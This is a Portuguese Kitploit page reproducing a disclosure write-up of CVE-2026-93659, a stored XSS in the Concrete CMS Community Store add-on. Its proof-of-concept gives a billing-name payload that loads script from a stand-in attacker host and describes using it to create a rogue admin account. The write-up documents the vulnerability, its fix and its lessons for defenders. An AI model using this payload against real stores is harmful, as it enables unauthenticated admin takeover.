Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/prince325/cve-2026-93659-writeup
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebPapers e PesquisaAprendizado e EducaçãoRecursos Curados
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

XSS armazenado no Concrete CMS Community Store leva à tomada de controle do painel de administração

Ver Repositório
1há 5h 38mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-93659: XSS Armazenado no Concrete CMS Community Store Leva à Tomada de Controle do Painel de Administração

Resumo

CVECVE-2026-93659
Componenteconcretecms-community-store/community_store
TipoCross-Site Scripting Armazenado (CWE-79)
SeveridadeCVSS v4.0 9.3 Crítico / v3.1 8.7 Alto
AfetadoTodas as versões anteriores à 2.7.8
Corrigido em2.7.8
CréditoPrince Edem Fiagbedzi (descobridor)

O Community Store, um complemento de e-commerce de código aberto para o Concrete CMS, armazenava campos de pedido fornecidos pelo cliente sem sanitizá-los e os renderizava sem escape de HTML em quatro visualizações voltadas ao administrador. Qualquer visitante não autenticado poderia fazer um pedido com um payload de script em um campo como o primeiro nome de cobrança, e o payload seria executado dentro da sessão autenticada do painel de um gerente de loja na próxima vez que ele abrisse aquele pedido, o suficiente para criar uma conta de administrador maliciosa ou exfiltrar dados de sessão.

O Que Está Afetado

Todo pedido carrega campos fornecidos pelo cliente: primeiro nome, sobrenome, e-mail e telefone de cobrança/entrega. Esses campos são armazenados como estão e renderizados de volta em quatro lugares que um gerente de loja costuma consultar:

  • a visualização de pedido no admin (single_pages/dashboard/store/orders.php)
  • o comprovante de pedido imprimível (elements/order_slip.php)
  • o relatório de vendas (single_pages/dashboard/store/reports/*.php)
  • a página de confirmação de checkout voltada ao cliente (single_pages/checkout/complete.php)

Crucialmente, fazer um pedido não exige conta. A configuração de checkout como convidado do Community Store tem como padrão always, definida dessa forma pelo próprio instalador do pacote em toda instalação nova, não algo que o operador da loja precise habilitar. Portanto, este não é um bug que exige uma loja mal configurada; é explorável contra uma instalação padrão, pronta de fábrica, sem exigir credenciais.

Mitigação

Atualize o Community Store para 2.7.8 ou posterior. A correção adiciona escape de saída adequado em todos os quatro locais de renderização afetados. Não há solução alternativa por configuração além da atualização, já que o comportamento vulnerável é o próprio escape, não um toggle.

Detalhes Técnicos

Nenhum dos quatro locais de renderização escapava os campos controlados pelo cliente. Uma linha representativa da visualização de pedido no admin:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Nenhuma chamada a h(), o helper padrão de escape de saída do Concrete, em lugar algum próximo, embora o mesmo arquivo usasse h() corretamente algumas linhas adiante para outros valores. A validação de entrada não era melhor: a única verificação aplicada a esses campos era um limite de comprimento (1-255 caracteres), nada que removesse ou rejeitasse HTML.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

Um payload <script> com menos de 255 caracteres no campo de primeiro nome de cobrança passa pela validação intacto, é armazenado e depois é renderizado sem escape onde quer que um admin veja o pedido.

O padrão de checkout como convidado é definido diretamente no instalador:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

O controlador de checkout só força um login quando essa configuração é off (ou option sem uma flag de convidado), e com o padrão instalado, esse ramo nunca é acionado.

Prova de Conceito

Testado contra o Community Store v2.7.7 no Concrete CMS 9.5.2 (laboratório Docker auto-hospedado, PHP 8.3). Payload enviado como um checkout comum de convidado, sem autenticação de qualquer tipo:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. O atacante envia um checkout de aparência normal com o payload acima. Sem conta, sem sessão, sem cookies.
  2. Um gerente de loja abre Dashboard > Store > Orders e visualiza o pedido (o payload dispara igualmente a partir do comprovante de pedido, do relatório de vendas ou do próprio e-mail de confirmação do cliente; qualquer um dos quatro caminhos de renderização sem escape funciona).
  3. O script é executado com a sessão autenticada do gerente de loja e o token CSRF. Para confirmar o impacto real em vez de apenas uma caixa de alerta, hospedei o payload eu mesmo, como faria um atacante externo, e usei-o para enviar programaticamente o formulário "adicionar administrador" de dentro daquela sessão, transformando um único pedido malicioso em uma tomada de controle completa de conta de administrador.

Cronologia de Divulgação

  • Reportado ao mantenedor por meio de um aviso de segurança privado no GitHub
  • Correção enviada por Ryan Hewitt como commit 2a802d6, adicionando escape com h() em todos os quatro locais de renderização afetados
  • Correção incluída na versão v2.7.8
  • CVE-2026-93659 publicado via VulnCheck como CNA, com crédito a mim como descobridor

Lições

  • O escape de saída precisa ser aplicado de forma consistente em todos os caminhos de renderização de um determinado valor, não apenas nos óbvios. Este bug foi lançado por anos porque três dos quatro locais de renderização aparentemente nunca foram revisitados depois que o quarto foi tratado corretamente.
  • "Exige uma conta" não é uma suposição segura na qual basear um modelo de ameaças para um complemento com acesso de convidado configurável. Verifique o padrão realmente distribuído, não a configuração teoricamente segura.
  • Complementos de marketplace/comunidade para plataformas CMS populares são um bom ponto de partida para caça a bugs: base de instalação real, genuinamente menos auditados que o núcleo.

Referências

  • CVE-2026-93659
  • Commit de correção 2a802d6
  • Notas de versão v2.7.8
  • Repositório do Community Store
Baixar ferramenta